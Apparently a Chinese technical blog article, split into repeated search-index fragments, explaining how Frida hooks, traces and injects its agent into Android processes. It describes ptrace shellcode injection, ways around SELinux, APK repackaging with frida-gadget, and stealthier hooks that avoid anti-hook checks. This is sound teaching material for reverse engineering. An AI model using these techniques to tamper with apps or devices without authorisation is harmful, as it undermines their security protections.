当应用调用目标函数时，它会首先跳转到蹦床。 蹦床代码会保存当前的 CPU 上下文（寄存器状态），然后调用你在 JavaScript 中定义的 onEnter 回调。 onEnter 执行完毕后，蹦床会执行被它覆盖掉的原始函数指令，然后跳转回原始函数的剩余部分继续执行。 当原始函数执行完毕后，控制权返回给蹦床，蹦床再调用你的 onLeave 回调。 最后，蹦床恢复之前保存的 CPU 上下文，并将返回值传递给原始的调用者。 Stalker: 指令级跟踪器 Stalker 是 Frida 的代码跟踪引擎，功能极其强大但使用也更复杂。它可以用来记录一个线程执行过的每一条汇编指令。 实现原理 (基于动态重新编译): 基本块 (Basic Block): Stalker 将代码分解为\"基本块\"。一个基本块是一系列连续的指令，只有一个入口点和一个出口点（通常是跳转或返回指令）。 代码拷贝与插桩: 当一个线程将要执行某个基本块时，Stalker 会： a. 将这个基本块的所有指令拷贝到一块新的内存区域。 b. 在这份拷贝中插入你的分析代码（例如，记录指令地址、寄存器值的代码）。 c. 执行这份被插桩后的代码副本。 代码缓存 (Code Cache): Stalker 会缓存这些被修改过的基本块。下次再执行到同一个基本块时，可以直接使用缓存中的版本，极大地提高了性能。 链接 (Chaining): Stalker 会修改每个插桩后基本块的末尾，使其跳转到下一个即将执行的原始基本块对应的\"插桩版本\"，从而形成一个完整的跟踪链。 简而言之，Stalker 通过创建和执行原始代码的\"带监控的副本\"来实现无死角的指令级跟踪。 JavaScript (V8) 运行时: 脚本的执行环境 为什么我们用 JavaScript 写 Hook 逻辑？因为 frida-agent.so 在注入目标进程后，会初始化一个 V8 引擎实例。你的 JS 脚本被完整地加载到这个 V8 引擎中执行。 这带来了巨大的优势： 高级语言的便利性: 你可以在目标进程的地址空间内，用 JavaScript 的便利性来操作内存、调用函数。 JIT 编译: V8 的即时编译 (JIT) 特性使得你的 JS 脚本能以接近原生的速度运行，性能远超解释执行。 强大的生态: 可以利用现有的 JS 库。 Frida 实际上提供了两个 JS 运行时： 运行时 引擎 特点 适用场景 V8 Google V8 JIT 编译，性能最优 默认选择，大多数场景 QuickJS Fabrice Bellard 的 QuickJS 解释执行，体积小 iOS 无 JIT 权限时 语言绑定 (Bindings): 你的控制台 frida-python, frida-node 等库是你的\"控制端\"。它们负责： 连接 Server: 与设备上的 frida-server 建立通信。 发送指令: 将你的指令（如\"附加到 PID 1234\"）发送给 frida-server。 加载脚本: 将你的 .js 脚本文件内容发送给 frida-agent.so 里的 V8 引擎去执行。 双向通信 (RPC): 建立一个双向的 RPC 通道。这使得你在 JS 中调用 send() 的数据能被 Python 的 on_message 回调接收，反之亦然。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:2","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#interceptor-函数拦截器"},{"categories":null,"collections":null,"content":"核心组件详解 Frida-Server: 设备端的守护进程 frida-server 是一个在目标设备上运行的二进制文件。它的主要职责是： 监听连接: 监听来自你 PC 上 Frida 客户端的 TCP 连接。 进程管理: 枚举目标设备上正在运行的进程，获取应用信息。 注入 Agent: 当客户端指定要附加 (attach) 或启动 (spawn) 一个应用时，frida-server 负责将 frida-agent.so 注入到目标进程中。在 Android 上，它通常通过 ptrace 来实现这一点。 Frida-Core: 注入目标进程的核心引擎 frida-core 是 Frida 的核心，它被编译成 frida-agent.so 并注入到目标进程。它是一个用 C 语言编写的多平台库，主要负责： 进程内通信: 建立一个与 frida-server 的通信渠道，从而间接地与你的 PC 客户端通信。 加载 JavaScript 引擎: 它内部嵌入了一个 Google V8 JavaScript 引擎。 暴露原生 API: 将底层的 frida-gum 功能通过 JavaScript API (如 Interceptor, Memory, NativePointer) 暴露给用户脚本。 Frida-Gum: 实现 Hook 的魔法棒 frida-gum 是 frida-core 中最具魔力的部分，它是一个跨平台的代码插桩工具包。所有 Hook 和代码跟踪功能都由它提供。 Interceptor: 函数拦截器 Interceptor 是你最常使用的功能，用于 Hook/Trace/替换任意函数。 深入理解：Hook 的本质是什么？ 很多人把 Hook 当成\"黑魔法\"，但其实原理很朴素： Hook = 劫持程序的执行流 想象你在高速公路上设置了一个收费站： 原始道路：函数的正常执行流程 收费站（Trampoline）：你插入的代码 改道标志（JMP）：修改函数入口的跳转指令 恢复通行：执行原始指令后继续 理解了这个本质，你就能： 判断哪些 Hook 会相互冲突（都修改同一个函数入口） 理解为什么有些反 Hook 检测能发现你（检查函数头的修改） 知道如何写更隐蔽的 Hook（inline hook vs. PLT/GOT hook） 实现原理: 动态代码生成: 当你 Interceptor.attach 一个函数时，Frida-Gum 会在内存中动态地生成一小段汇编代码，我们称之为蹦床 (Trampoline)。 函数头重写 (Prologue Rewriting): Frida-Gum 会修改目标函数入口点（函数头）的几条指令，将其替换为一个无条件跳转 (JMP) 指令，该指令指向刚刚创建的蹦床。Frida 会非常小心地保存被它覆盖掉的原始指令。 执行流程: 当应用调用目标函数时，它会首先跳转到蹦床。 蹦床代码会保存当前的 CPU 上下文（寄存器状态），然后调用你在 JavaScript 中定义的 onEnter 回调。 onEnter 执行完毕后，蹦床会执行被它覆盖掉的原始函数指令，然后跳转回原始函数的剩余部分继续执行。 当原始函数执行完毕后，控制权返回给蹦床，蹦床再调用你的 onLeave 回调。 最后，蹦床恢复之前保存的 CPU 上下文，并将返回值传递给原始的调用者。 Stalker: 指令级跟踪器 Stalker 是 Frida 的代码跟踪引擎，功能极其强大但使用也更复杂。它可以用来记录一个线程执行过的每一条汇编指令。 实现原理 (基于动态重新编译): 基本块 (Basic Block): Stalker 将代码分解为\"基本块\"。一个基本块是一系列连续的指令，只有一个入口点和一个出口点（通常是跳转或返回指令）。 代码拷贝与插桩: 当一个线程将要执行某个基本块时，Stalker 会： a. 将这个基本块的所有指令拷贝到一块新的内存区域。 b. 在这份拷贝中插入你的分析代码（例如，记录指令地址、寄存器值的代码）。 c. 执行这份被插桩后的代码副本。 代码缓存 (Code Cache): Stalker 会缓存这些被修改过的基本块。下次再执行到同一个基本块时，可以直接使用缓存中的版本，极大地提高了性能。 链接 (Chaining): Stalker 会修改每个插桩后基本块的末尾，使其跳转到下一个即将执行的原始基本块对应的\"插桩版本\"，从而形成一个完整的跟踪链。 简而言之，Stalker 通过创建和执行原始代码的\"带监控的副本\"来实现无死角的指令级跟踪。 JavaScript (V8) 运行时: 脚本的执行环境 为什么我们用 JavaScript 写 Hook 逻辑？因为 frida-agent.so 在注入目标进程后，会初始化一个 V8 引擎实例。你的 JS 脚本被完整地加载到这个 V8 引擎中执行。 这带来了巨大的优势： 高级语言的便利性: 你可以在目标进程的地址空间内，用 JavaScript 的便利性来操作内存、调用函数。 JIT 编译: V8 的即时编译 (JIT) 特性使得你的 JS 脚本能以接近原生的速度运行，性能远超解释执行。 强大的生态: 可以利用现有的 JS 库。 Frida 实际上提供了两个 JS 运行时： 运行时 引擎 特点 适用场景 V8 Google V8 JIT 编译，性能最优 默认选择，大多数场景 QuickJS Fabrice Bellard 的 QuickJS 解释执行，体积小 iOS 无 JIT 权限时 语言绑定 (Bindings): 你的控制台 frida-python, frida-node 等库是你的\"控制端\"。它们负责： 连接 Server: 与设备上的 frida-server 建立通信。 发送指令: 将你的指令（如\"附加到 PID 1234\"）发送给 frida-server。 加载脚本: 将你的 .js 脚本文件内容发送给 frida-agent.so 里的 V8 引擎去执行。 双向通信 (RPC): 建立一个双向的 RPC 通道。这使得你在 JS 中调用 send() 的数据能被 Python 的 on_message 回调接收，反之亦然。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:2","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#stalker-指令级跟踪器"},{"categories":null,"collections":null,"content":"核心组件详解 Frida-Server: 设备端的守护进程 frida-server 是一个在目标设备上运行的二进制文件。它的主要职责是： 监听连接: 监听来自你 PC 上 Frida 客户端的 TCP 连接。 进程管理: 枚举目标设备上正在运行的进程，获取应用信息。 注入 Agent: 当客户端指定要附加 (attach) 或启动 (spawn) 一个应用时，frida-server 负责将 frida-agent.so 注入到目标进程中。在 Android 上，它通常通过 ptrace 来实现这一点。 Frida-Core: 注入目标进程的核心引擎 frida-core 是 Frida 的核心，它被编译成 frida-agent.so 并注入到目标进程。它是一个用 C 语言编写的多平台库，主要负责： 进程内通信: 建立一个与 frida-server 的通信渠道，从而间接地与你的 PC 客户端通信。 加载 JavaScript 引擎: 它内部嵌入了一个 Google V8 JavaScript 引擎。 暴露原生 API: 将底层的 frida-gum 功能通过 JavaScript API (如 Interceptor, Memory, NativePointer) 暴露给用户脚本。 Frida-Gum: 实现 Hook 的魔法棒 frida-gum 是 frida-core 中最具魔力的部分，它是一个跨平台的代码插桩工具包。所有 Hook 和代码跟踪功能都由它提供。 Interceptor: 函数拦截器 Interceptor 是你最常使用的功能，用于 Hook/Trace/替换任意函数。 深入理解：Hook 的本质是什么？ 很多人把 Hook 当成\"黑魔法\"，但其实原理很朴素： Hook = 劫持程序的执行流 想象你在高速公路上设置了一个收费站： 原始道路：函数的正常执行流程 收费站（Trampoline）：你插入的代码 改道标志（JMP）：修改函数入口的跳转指令 恢复通行：执行原始指令后继续 理解了这个本质，你就能： 判断哪些 Hook 会相互冲突（都修改同一个函数入口） 理解为什么有些反 Hook 检测能发现你（检查函数头的修改） 知道如何写更隐蔽的 Hook（inline hook vs. PLT/GOT hook） 实现原理: 动态代码生成: 当你 Interceptor.attach 一个函数时，Frida-Gum 会在内存中动态地生成一小段汇编代码，我们称之为蹦床 (Trampoline)。 函数头重写 (Prologue Rewriting): Frida-Gum 会修改目标函数入口点（函数头）的几条指令，将其替换为一个无条件跳转 (JMP) 指令，该指令指向刚刚创建的蹦床。Frida 会非常小心地保存被它覆盖掉的原始指令。 执行流程: 当应用调用目标函数时，它会首先跳转到蹦床。 蹦床代码会保存当前的 CPU 上下文（寄存器状态），然后调用你在 JavaScript 中定义的 onEnter 回调。 onEnter 执行完毕后，蹦床会执行被它覆盖掉的原始函数指令，然后跳转回原始函数的剩余部分继续执行。 当原始函数执行完毕后，控制权返回给蹦床，蹦床再调用你的 onLeave 回调。 最后，蹦床恢复之前保存的 CPU 上下文，并将返回值传递给原始的调用者。 Stalker: 指令级跟踪器 Stalker 是 Frida 的代码跟踪引擎，功能极其强大但使用也更复杂。它可以用来记录一个线程执行过的每一条汇编指令。 实现原理 (基于动态重新编译): 基本块 (Basic Block): Stalker 将代码分解为\"基本块\"。一个基本块是一系列连续的指令，只有一个入口点和一个出口点（通常是跳转或返回指令）。 代码拷贝与插桩: 当一个线程将要执行某个基本块时，Stalker 会： a. 将这个基本块的所有指令拷贝到一块新的内存区域。 b. 在这份拷贝中插入你的分析代码（例如，记录指令地址、寄存器值的代码）。 c. 执行这份被插桩后的代码副本。 代码缓存 (Code Cache): Stalker 会缓存这些被修改过的基本块。下次再执行到同一个基本块时，可以直接使用缓存中的版本，极大地提高了性能。 链接 (Chaining): Stalker 会修改每个插桩后基本块的末尾，使其跳转到下一个即将执行的原始基本块对应的\"插桩版本\"，从而形成一个完整的跟踪链。 简而言之，Stalker 通过创建和执行原始代码的\"带监控的副本\"来实现无死角的指令级跟踪。 JavaScript (V8) 运行时: 脚本的执行环境 为什么我们用 JavaScript 写 Hook 逻辑？因为 frida-agent.so 在注入目标进程后，会初始化一个 V8 引擎实例。你的 JS 脚本被完整地加载到这个 V8 引擎中执行。 这带来了巨大的优势： 高级语言的便利性: 你可以在目标进程的地址空间内，用 JavaScript 的便利性来操作内存、调用函数。 JIT 编译: V8 的即时编译 (JIT) 特性使得你的 JS 脚本能以接近原生的速度运行，性能远超解释执行。 强大的生态: 可以利用现有的 JS 库。 Frida 实际上提供了两个 JS 运行时： 运行时 引擎 特点 适用场景 V8 Google V8 JIT 编译，性能最优 默认选择，大多数场景 QuickJS Fabrice Bellard 的 QuickJS 解释执行，体积小 iOS 无 JIT 权限时 语言绑定 (Bindings): 你的控制台 frida-python, frida-node 等库是你的\"控制端\"。它们负责： 连接 Server: 与设备上的 frida-server 建立通信。 发送指令: 将你的指令（如\"附加到 PID 1234\"）发送给 frida-server。 加载脚本: 将你的 .js 脚本文件内容发送给 frida-agent.so 里的 V8 引擎去执行。 双向通信 (RPC): 建立一个双向的 RPC 通道。这使得你在 JS 中调用 send() 的数据能被 Python 的 on_message 回调接收，反之亦然。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:2","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#javascript-v8-运行时-脚本的执行环境"},{"categories":null,"collections":null,"content":"核心组件详解 Frida-Server: 设备端的守护进程 frida-server 是一个在目标设备上运行的二进制文件。它的主要职责是： 监听连接: 监听来自你 PC 上 Frida 客户端的 TCP 连接。 进程管理: 枚举目标设备上正在运行的进程，获取应用信息。 注入 Agent: 当客户端指定要附加 (attach) 或启动 (spawn) 一个应用时，frida-server 负责将 frida-agent.so 注入到目标进程中。在 Android 上，它通常通过 ptrace 来实现这一点。 Frida-Core: 注入目标进程的核心引擎 frida-core 是 Frida 的核心，它被编译成 frida-agent.so 并注入到目标进程。它是一个用 C 语言编写的多平台库，主要负责： 进程内通信: 建立一个与 frida-server 的通信渠道，从而间接地与你的 PC 客户端通信。 加载 JavaScript 引擎: 它内部嵌入了一个 Google V8 JavaScript 引擎。 暴露原生 API: 将底层的 frida-gum 功能通过 JavaScript API (如 Interceptor, Memory, NativePointer) 暴露给用户脚本。 Frida-Gum: 实现 Hook 的魔法棒 frida-gum 是 frida-core 中最具魔力的部分，它是一个跨平台的代码插桩工具包。所有 Hook 和代码跟踪功能都由它提供。 Interceptor: 函数拦截器 Interceptor 是你最常使用的功能，用于 Hook/Trace/替换任意函数。 深入理解：Hook 的本质是什么？ 很多人把 Hook 当成\"黑魔法\"，但其实原理很朴素： Hook = 劫持程序的执行流 想象你在高速公路上设置了一个收费站： 原始道路：函数的正常执行流程 收费站（Trampoline）：你插入的代码 改道标志（JMP）：修改函数入口的跳转指令 恢复通行：执行原始指令后继续 理解了这个本质，你就能： 判断哪些 Hook 会相互冲突（都修改同一个函数入口） 理解为什么有些反 Hook 检测能发现你（检查函数头的修改） 知道如何写更隐蔽的 Hook（inline hook vs. PLT/GOT hook） 实现原理: 动态代码生成: 当你 Interceptor.attach 一个函数时，Frida-Gum 会在内存中动态地生成一小段汇编代码，我们称之为蹦床 (Trampoline)。 函数头重写 (Prologue Rewriting): Frida-Gum 会修改目标函数入口点（函数头）的几条指令，将其替换为一个无条件跳转 (JMP) 指令，该指令指向刚刚创建的蹦床。Frida 会非常小心地保存被它覆盖掉的原始指令。 执行流程: 当应用调用目标函数时，它会首先跳转到蹦床。 蹦床代码会保存当前的 CPU 上下文（寄存器状态），然后调用你在 JavaScript 中定义的 onEnter 回调。 onEnter 执行完毕后，蹦床会执行被它覆盖掉的原始函数指令，然后跳转回原始函数的剩余部分继续执行。 当原始函数执行完毕后，控制权返回给蹦床，蹦床再调用你的 onLeave 回调。 最后，蹦床恢复之前保存的 CPU 上下文，并将返回值传递给原始的调用者。 Stalker: 指令级跟踪器 Stalker 是 Frida 的代码跟踪引擎，功能极其强大但使用也更复杂。它可以用来记录一个线程执行过的每一条汇编指令。 实现原理 (基于动态重新编译): 基本块 (Basic Block): Stalker 将代码分解为\"基本块\"。一个基本块是一系列连续的指令，只有一个入口点和一个出口点（通常是跳转或返回指令）。 代码拷贝与插桩: 当一个线程将要执行某个基本块时，Stalker 会： a. 将这个基本块的所有指令拷贝到一块新的内存区域。 b. 在这份拷贝中插入你的分析代码（例如，记录指令地址、寄存器值的代码）。 c. 执行这份被插桩后的代码副本。 代码缓存 (Code Cache): Stalker 会缓存这些被修改过的基本块。下次再执行到同一个基本块时，可以直接使用缓存中的版本，极大地提高了性能。 链接 (Chaining): Stalker 会修改每个插桩后基本块的末尾，使其跳转到下一个即将执行的原始基本块对应的\"插桩版本\"，从而形成一个完整的跟踪链。 简而言之，Stalker 通过创建和执行原始代码的\"带监控的副本\"来实现无死角的指令级跟踪。 JavaScript (V8) 运行时: 脚本的执行环境 为什么我们用 JavaScript 写 Hook 逻辑？因为 frida-agent.so 在注入目标进程后，会初始化一个 V8 引擎实例。你的 JS 脚本被完整地加载到这个 V8 引擎中执行。 这带来了巨大的优势： 高级语言的便利性: 你可以在目标进程的地址空间内，用 JavaScript 的便利性来操作内存、调用函数。 JIT 编译: V8 的即时编译 (JIT) 特性使得你的 JS 脚本能以接近原生的速度运行，性能远超解释执行。 强大的生态: 可以利用现有的 JS 库。 Frida 实际上提供了两个 JS 运行时： 运行时 引擎 特点 适用场景 V8 Google V8 JIT 编译，性能最优 默认选择，大多数场景 QuickJS Fabrice Bellard 的 QuickJS 解释执行，体积小 iOS 无 JIT 权限时 语言绑定 (Bindings): 你的控制台 frida-python, frida-node 等库是你的\"控制端\"。它们负责： 连接 Server: 与设备上的 frida-server 建立通信。 发送指令: 将你的指令（如\"附加到 PID 1234\"）发送给 frida-server。 加载脚本: 将你的 .js 脚本文件内容发送给 frida-agent.so 里的 V8 引擎去执行。 双向通信 (RPC): 建立一个双向的 RPC 通道。这使得你在 JS 中调用 send() 的数据能被 Python 的 on_message 回调接收，反之亦然。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:2","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#语言绑定-bindings-你的控制台"},{"categories":null,"collections":null,"content":"工作流程串讲 当你执行 frida -U -f com.example.app -l script.js 时，发生了什么？ [PC] frida (Python 客户端) 解析命令。 [PC -\u003e Phone] 客户端通过 USB 连接到手机上的 frida-server。 [PC -\u003e Phone] 客户端向 frida-server 发送指令：“请以 spawn 模式启动 com.example.app\"。 [Phone] frida-server 找到 com.example.app 并启动它，但使其处于暂停状态。 [Phone] frida-server 将 frida-agent.so 注入到这个新创建的应用进程中。 [Phone] frida-agent.so 在进程内初始化，启动 V8 引擎，并建立与 frida-server 的内部通信。 [PC -\u003e Phone] 客户端读取 script.js 的内容，并通过 frida-server 将其发送给 frida-agent.so。 [Phone] frida-agent.so 中的 V8 引擎执行 script.js 的代码（例如，Interceptor.attach(...)）。 [PC -\u003e Phone] 客户端发送\"恢复进程\"的指令。 [Phone] 应用进程从暂停状态中恢复，开始正常执行。当它调用被 Hook 的函数时，你在 script.js 中定义的逻辑就会被触发。 [双向] 脚本中的 send() 消息会通过 agent -\u003e server -\u003e client 的路径回到你的 PC 终端上显示。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:3","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#工作流程串讲"},{"categories":null,"collections":null,"content":"注入机制深入 理解 Frida 如何将 frida-agent.so 注入到目标进程，是掌握整个框架的基础。 ptrace 注入流程 ptrace 是 Linux 内核提供的进程跟踪系统调用。Frida 利用它完成注入： frida-server 目标进程 | | | 1. ptrace(PTRACE_ATTACH) | 进程暂停 (SIGSTOP) | 2. PTRACE_GETREGS | 保存寄存器状态 | 3. 远程调用 mmap() | 分配 RWX 内存 | 4. PTRACE_POKEDATA | 写入 shellcode | 5. PTRACE_SETREGS (PC=shellcode) | | 6. PTRACE_CONT | 执行 shellcode: | | dlopen(\"frida-agent.so\") | | frida_agent_main() | 7. 恢复原始寄存器状态 | | 8. ptrace(PTRACE_DETACH) | 进程恢复正常 远程 mmap 调用是最巧妙的部分：frida-server 通过修改目标进程的寄存器来设置 mmap 系统调用的参数，将 PC 指向一条 SVC #0（ARM syscall 指令），执行一条指令后捕获返回值，从而在目标进程中分配出可执行内存。 写入目标进程的 shellcode 核心逻辑如下： shellcode 伪代码： 1. dlopen(\"frida-agent.so\", RTLD_LAZY) // 加载 Agent 2. dlsym(handle, \"frida_agent_main\") // 获取入口函数 3. frida_agent_main(agent_parameters) // 启动 Agent 4. 触发 SIGTRAP // 通知 server 完成 排错提示：如果注入时遇到 \"Failed to attach\" 或 \"unable to access process\"，首先用 getenforce 检查 SELinux 状态，然后确认 frida-server 是否以 root 运行。 Spawn vs Attach 模式 Spawn 模式 (-f) Attach 模式 时机 应用启动前注入 应用运行中注入 实现 利用 zygote fork，exec 前 ptrace 直接 ptrace 运行中进程 优势 可 Hook 初始化代码、构造函数 不干扰启动流程 风险 可能影响启动时序 错过早期调用 SELinux 的影响 SELinux 在 enforcing 模式下可能阻止 ptrace 附加、mmap 可执行内存、agent 的 socket 通信。Frida 的应对策略： frida-server 以 root (u:r:su:s0) 运行，天然拥有大多数权限 使用 memfd_create() 替代文件系统上的 .so，通过 dlopen(\"/proc/self/fd/N\") 加载，避免文件 SELinux 标签检查 通过 /proc/\u003cpid\u003e/mem 直接写入，在某些内核版本上可绕过 ptrace 限制 作为最后手段，setenforce 0 临时关闭 SELinux（不推荐用于生产环境） frida-gadget (无 root 方案) 当设备无 root 时，将 frida-gadget.so 打包进 APK： 1. 解压 APK 2. 拷贝 frida-gadget.so 到 lib/\u003cabi\u003e/ 3. 在入口 Activity 的 smali 中添加 System.loadLibrary(\"frida-gadget\") 或用 patchelf --add-needed frida-gadget.so 添加为已有 .so 的依赖 4. 重新打包、签名、安装 Gadget 支持多种运行模式，通过 frida-gadget.config 配置： 模式 说明 listen 等待客户端连接（类似 frida-server） script 自动加载指定 JS 脚本，无需客户端 script-directory 监视目录中的脚本变化并自动加载 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:4","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#注入机制深入"},{"categories":null,"collections":null,"content":"注入机制深入 理解 Frida 如何将 frida-agent.so 注入到目标进程，是掌握整个框架的基础。 ptrace 注入流程 ptrace 是 Linux 内核提供的进程跟踪系统调用。Frida 利用它完成注入： frida-server 目标进程 | | | 1. ptrace(PTRACE_ATTACH) | 进程暂停 (SIGSTOP) | 2. PTRACE_GETREGS | 保存寄存器状态 | 3. 远程调用 mmap() | 分配 RWX 内存 | 4. PTRACE_POKEDATA | 写入 shellcode | 5. PTRACE_SETREGS (PC=shellcode) | | 6. PTRACE_CONT | 执行 shellcode: | | dlopen(\"frida-agent.so\") | | frida_agent_main() | 7. 恢复原始寄存器状态 | | 8. ptrace(PTRACE_DETACH) | 进程恢复正常 远程 mmap 调用是最巧妙的部分：frida-server 通过修改目标进程的寄存器来设置 mmap 系统调用的参数，将 PC 指向一条 SVC #0（ARM syscall 指令），执行一条指令后捕获返回值，从而在目标进程中分配出可执行内存。 写入目标进程的 shellcode 核心逻辑如下： shellcode 伪代码： 1. dlopen(\"frida-agent.so\", RTLD_LAZY) // 加载 Agent 2. dlsym(handle, \"frida_agent_main\") // 获取入口函数 3. frida_agent_main(agent_parameters) // 启动 Agent 4. 触发 SIGTRAP // 通知 server 完成 排错提示：如果注入时遇到 \"Failed to attach\" 或 \"unable to access process\"，首先用 getenforce 检查 SELinux 状态，然后确认 frida-server 是否以 root 运行。 Spawn vs Attach 模式 Spawn 模式 (-f) Attach 模式 时机 应用启动前注入 应用运行中注入 实现 利用 zygote fork，exec 前 ptrace 直接 ptrace 运行中进程 优势 可 Hook 初始化代码、构造函数 不干扰启动流程 风险 可能影响启动时序 错过早期调用 SELinux 的影响 SELinux 在 enforcing 模式下可能阻止 ptrace 附加、mmap 可执行内存、agent 的 socket 通信。Frida 的应对策略： frida-server 以 root (u:r:su:s0) 运行，天然拥有大多数权限 使用 memfd_create() 替代文件系统上的 .so，通过 dlopen(\"/proc/self/fd/N\") 加载，避免文件 SELinux 标签检查 通过 /proc//mem 直接写入，在某些内核版本上可绕过 ptrace 限制 作为最后手段，setenforce 0 临时关闭 SELinux（不推荐用于生产环境） frida-gadget (无 root 方案) 当设备无 root 时，将 frida-gadget.so 打包进 APK： 1. 解压 APK 2. 拷贝 frida-gadget.so 到 lib// 3. 在入口 Activity 的 smali 中添加 System.loadLibrary(\"frida-gadget\") 或用 patchelf --add-needed frida-gadget.so 添加为已有 .so 的依赖 4. 重新打包、签名、安装 Gadget 支持多种运行模式，通过 frida-gadget.config 配置： 模式 说明 listen 等待客户端连接（类似 frida-server） script 自动加载指定 JS 脚本，无需客户端 script-directory 监视目录中的脚本变化并自动加载 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:4","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#ptrace-注入流程"},{"categories":null,"collections":null,"content":"注入机制深入 理解 Frida 如何将 frida-agent.so 注入到目标进程，是掌握整个框架的基础。 ptrace 注入流程 ptrace 是 Linux 内核提供的进程跟踪系统调用。Frida 利用它完成注入： frida-server 目标进程 | | | 1. ptrace(PTRACE_ATTACH) | 进程暂停 (SIGSTOP) | 2. PTRACE_GETREGS | 保存寄存器状态 | 3. 远程调用 mmap() | 分配 RWX 内存 | 4. PTRACE_POKEDATA | 写入 shellcode | 5. PTRACE_SETREGS (PC=shellcode) | | 6. PTRACE_CONT | 执行 shellcode: | | dlopen(\"frida-agent.so\") | | frida_agent_main() | 7. 恢复原始寄存器状态 | | 8. ptrace(PTRACE_DETACH) | 进程恢复正常 远程 mmap 调用是最巧妙的部分：frida-server 通过修改目标进程的寄存器来设置 mmap 系统调用的参数，将 PC 指向一条 SVC #0（ARM syscall 指令），执行一条指令后捕获返回值，从而在目标进程中分配出可执行内存。 写入目标进程的 shellcode 核心逻辑如下： shellcode 伪代码： 1. dlopen(\"frida-agent.so\", RTLD_LAZY) // 加载 Agent 2. dlsym(handle, \"frida_agent_main\") // 获取入口函数 3. frida_agent_main(agent_parameters) // 启动 Agent 4. 触发 SIGTRAP // 通知 server 完成 排错提示：如果注入时遇到 \"Failed to attach\" 或 \"unable to access process\"，首先用 getenforce 检查 SELinux 状态，然后确认 frida-server 是否以 root 运行。 Spawn vs Attach 模式 Spawn 模式 (-f) Attach 模式 时机 应用启动前注入 应用运行中注入 实现 利用 zygote fork，exec 前 ptrace 直接 ptrace 运行中进程 优势 可 Hook 初始化代码、构造函数 不干扰启动流程 风险 可能影响启动时序 错过早期调用 SELinux 的影响 SELinux 在 enforcing 模式下可能阻止 ptrace 附加、mmap 可执行内存、agent 的 socket 通信。Frida 的应对策略： frida-server 以 root (u:r:su:s0) 运行，天然拥有大多数权限 使用 memfd_create() 替代文件系统上的 .so，通过 dlopen(\"/proc/self/fd/N\") 加载，避免文件 SELinux 标签检查 通过 /proc//mem 直接写入，在某些内核版本上可绕过 ptrace 限制 作为最后手段，setenforce 0 临时关闭 SELinux（不推荐用于生产环境） frida-gadget (无 root 方案) 当设备无 root 时，将 frida-gadget.so 打包进 APK： 1. 解压 APK 2. 拷贝 frida-gadget.so 到 lib// 3. 在入口 Activity 的 smali 中添加 System.loadLibrary(\"frida-gadget\") 或用 patchelf --add-needed frida-gadget.so 添加为已有 .so 的依赖 4. 重新打包、签名、安装 Gadget 支持多种运行模式，通过 frida-gadget.config 配置： 模式 说明 listen 等待客户端连接（类似 frida-server） script 自动加载指定 JS 脚本，无需客户端 script-directory 监视目录中的脚本变化并自动加载 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:4","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#spawn-vs-attach-模式"},{"categories":null,"collections":null,"content":"注入机制深入 理解 Frida 如何将 frida-agent.so 注入到目标进程，是掌握整个框架的基础。 ptrace 注入流程 ptrace 是 Linux 内核提供的进程跟踪系统调用。Frida 利用它完成注入： frida-server 目标进程 | | | 1. ptrace(PTRACE_ATTACH) | 进程暂停 (SIGSTOP) | 2. PTRACE_GETREGS | 保存寄存器状态 | 3. 远程调用 mmap() | 分配 RWX 内存 | 4. PTRACE_POKEDATA | 写入 shellcode | 5. PTRACE_SETREGS (PC=shellcode) | | 6. PTRACE_CONT | 执行 shellcode: | | dlopen(\"frida-agent.so\") | | frida_agent_main() | 7. 恢复原始寄存器状态 | | 8. ptrace(PTRACE_DETACH) | 进程恢复正常 远程 mmap 调用是最巧妙的部分：frida-server 通过修改目标进程的寄存器来设置 mmap 系统调用的参数，将 PC 指向一条 SVC #0（ARM syscall 指令），执行一条指令后捕获返回值，从而在目标进程中分配出可执行内存。 写入目标进程的 shellcode 核心逻辑如下： shellcode 伪代码： 1. dlopen(\"frida-agent.so\", RTLD_LAZY) // 加载 Agent 2. dlsym(handle, \"frida_agent_main\") // 获取入口函数 3. frida_agent_main(agent_parameters) // 启动 Agent 4. 触发 SIGTRAP // 通知 server 完成 排错提示：如果注入时遇到 \"Failed to attach\" 或 \"unable to access process\"，首先用 getenforce 检查 SELinux 状态，然后确认 frida-server 是否以 root 运行。 Spawn vs Attach 模式 Spawn 模式 (-f) Attach 模式 时机 应用启动前注入 应用运行中注入 实现 利用 zygote fork，exec 前 ptrace 直接 ptrace 运行中进程 优势 可 Hook 初始化代码、构造函数 不干扰启动流程 风险 可能影响启动时序 错过早期调用 SELinux 的影响 SELinux 在 enforcing 模式下可能阻止 ptrace 附加、mmap 可执行内存、agent 的 socket 通信。Frida 的应对策略： frida-server 以 root (u:r:su:s0) 运行，天然拥有大多数权限 使用 